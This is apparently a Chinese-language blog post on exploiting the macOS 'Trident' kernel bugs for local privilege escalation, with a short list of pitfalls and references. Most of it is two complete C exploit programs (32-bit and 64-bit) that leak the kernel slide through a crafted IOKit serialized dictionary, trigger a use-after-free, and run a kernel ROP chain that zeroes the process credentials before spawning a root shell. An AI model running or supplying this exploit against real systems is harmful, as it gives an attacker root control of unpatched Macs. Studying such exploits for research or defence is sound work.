利用三叉戟漏洞实现通用提权


#1

# 0x00 前言
在对漏洞进行学习的时候,因为各方面细小知识点的缺少,导致踩了一些坑,这次来分析的是之前很多人已经说过的三叉戟漏洞的后两个来实现的本地提权,虽然有很多poc,但是其中的描述并不是很详细,所以我就通过自己的学习过程来做一些科普吧算是。
在阅读之前需要对于这两个漏洞有一定的了解,资料我丢在链接部分了,完整的代码贴在我的github上了。

0x01 流程

首先我还是按照惯例梳理了整个Poc的流程画了一张流程图,可以结合poc看看:

在这个流程中我们为了触发反序列化需要用到一些IOKit的私有API,所以首先需要对整个流程有一定的了解:

0x02 踩坑处

  1. 对于macOS中堆的分配机制不太了解,因为UAF的构造就是利用这个性质,可以去看一下kalloc或者linux上的堆分配器Glibc的分配机制都会有所帮助
  2. 对于NULL pointer解引用从而跳到零页面,参考stackover flow
  3. 对于零页面的构造,这个有关于C++的vtable在内存中的情况,可以参考深入理解C++对象模型第一章。

0x03 Poc

32bit利用zero page

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

#include "librop/librop.h"

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"

enum {
  kOSSerializeDictionary = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollection = 0x80000000U,
};


uint64_t info_leak(void){
  kern_return_t kr=0,err=0;
  //mach端口
  mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;

  //iokit的参数 
  io_service_t serv = 0;
  io_connect_t conn = 0;
  io_iterator_t iter = 0;
  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  
  memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
  index += sizeof(kOSSerializeCodeSignature);
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;  
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
  index += 4;
  //因为要编译成32bit所以按照32bit写入
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  host_get_io_master(mach_host_self(), &master);
  kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
  if(kr != KERN_SUCCESS) return -1;
  printf("字典合法,success\n");

  serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); 
  kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
  
  if(kr != KERN_SUCCESS) return -1;
  printf("泄漏成功, success\n");
  

  IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char buffer[0x20A] = {0};
  mach_msg_type_number_t bufLen = 0x200;
  if(kr!=KERN_SUCCESS) return -1;
  kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
  for(uint32_t k = 0; k < 128; k += 8) {
        printf("%llx\n", *(uint64_t *)(buffer + k));
  }
  //硬编码地址要自己逆向去找
  uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
  //地址是内核栈上的第几个也要通过打印自己看
  printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
  return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}

void uaf(){
  kern_return_t kr = 0;
  mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  //为了更直观我就不用宏了
  memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeString | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
   index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00424242;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
  index += 4;
  for(int i = 0 ; i < 8 ;i++){
  *(uint32_t *)(dict+index) = 0x00000000; 
  index += 4;
  }
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00434343;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
  index += 4;
  //制造零页面
  mach_vm_address_t zero_page = 0;
  vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
  kr = mach_vm_allocate(mach_task_self(), &zero_page, PAGE_SIZE, 0);
  if (kr != KERN_SUCCESS)  return;
  
  //拿到内核
  macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
  
  //获取内核偏移
  SET_KERNEL_SLIDE(info_leak());
  //劫持rip,关键字防止编译器做修改
  *(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map);
 
  //rop chain
   printf("开始构造 ROP chain\n");

  rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
  uint64_t *transfer = (uint64_t *)0x0;
  transfer[0] = ROP_POP_RSP(map);
  transfer[1] = (uint64_t)chain->chain;
  
  //触发反序列化
  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
  if (kr != KERN_SUCCESS)
      return;
}

int main(){
  sync();
  uaf();
  if(getuid() == 0){
    printf("exploit successfully~\n");
    system("/bin/bash");
  }
  return 0;  
}

64bit下通用

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

#include "librop/librop.h"

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"

enum {
  kOSSerializeDictionary = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollection = 0x80000000U,
};


uint64_t info_leak(void){
  kern_return_t kr=0,err=0;
  //mach端口
  mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;

  //iokit的参数 
  io_service_t serv = 0;
  io_connect_t conn = 0;
  io_iterator_t iter = 0;
  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  
  memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
  index += sizeof(kOSSerializeCodeSignature);
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;  
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
  index += 4;
  //因为要编译成32bit所以按照32bit写入
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  host_get_io_master(mach_host_self(), &master);
  kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
  if(kr != KERN_SUCCESS) return -1;
  printf("字典合法,success\n");

  serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); 
  kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
  
  if(kr != KERN_SUCCESS) return -1;
  printf("泄漏成功, success\n");
  

  IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char buffer[0x20A] = {0};
  mach_msg_type_number_t bufLen = 0x200;
  if(kr!=KERN_SUCCESS) return -1;
  kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
/*
  for(uint32_t k = 0; k < 128; k += 8) {
        printf("%llx\n", *(uint64_t *)(buffer + k));
  }
*/  
  //硬编码地址要自己逆向去找
  uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
  //地址是内核栈上的第几个也要通过打印自己看
  printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
  return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}

void uaf(){
  kern_return_t kr = 0;
  mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
  rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;

  printf("high: %x, low: %x\n, whole: %llx", (uint32_t)((uint64_t)chain->chain >> 32), (uint32_t)chain->chain, (uint64_t)chain->chain);
//获取内核偏移
  SET_KERNEL_SLIDE(info_leak());
  //拿到内核
  macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
  printf("开始构造 ROP chain\n"); 

/*
  chain->chain[0] = 0;
  chain->chain[1] = 0;
  chain->chain[2] = 0;
  chain->chain[3] = ROP_POP_RBX(map);
  chain->chain[4] = ROP_XCHG_RSP_RAX(map);
  chain->chain[5] = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
  chain->chain[6] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[7] = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
  chain->chain[8] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[9] = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
  chain->chain[10] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[11] = ROP_ARG2(chain, map, (sizeof(int) * 3));
  chain->chain[12] = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
  chain->chain[13] = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
  for(int i = 0 ;i < 14 ;i++)
	printf("%d: %d\n",i, chain->chain[i]);
*/


  //为了更直观我就不用宏了
  memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeString | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
   index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00424242;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
  index += 4;
  *(uint32_t *)(dict+index) = (uint32_t)chain->chain;
  index += 4;
  *(uint32_t *)(dict+index) = (uint32_t)((uint64_t)chain->chain>>32);
  index += 4;
  for(int i = 0 ; i < 6 ;i++){
  *(uint32_t *)(dict+index) = 0x00000000; 
  index += 4;
  }
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00434343;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
  index += 4;

  
  
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = ROP_POP_RBX(map);
  PUSH_GADGET(chain) = ROP_XCHG_RSP_RAX(map);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

for(int i = 0 ;i < 16 ;i++)
	printf("%d: %llx\n",i, chain->chain[i]);

  //触发反序列化
  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
  if (kr != KERN_SUCCESS)
      return;


}

int main(){
  sync();
  uaf();
  if(getuid() == 0){
    printf("exploit successfully~\n");
    system("/bin/bash");
  }
  return 0;  
}

0x04 参考链接

因为很多人写过相关,所以我就不班门弄斧了,丢几个写的好的链接供大家参考
1.jndok
2.lookout
3.zhengmin(Spark)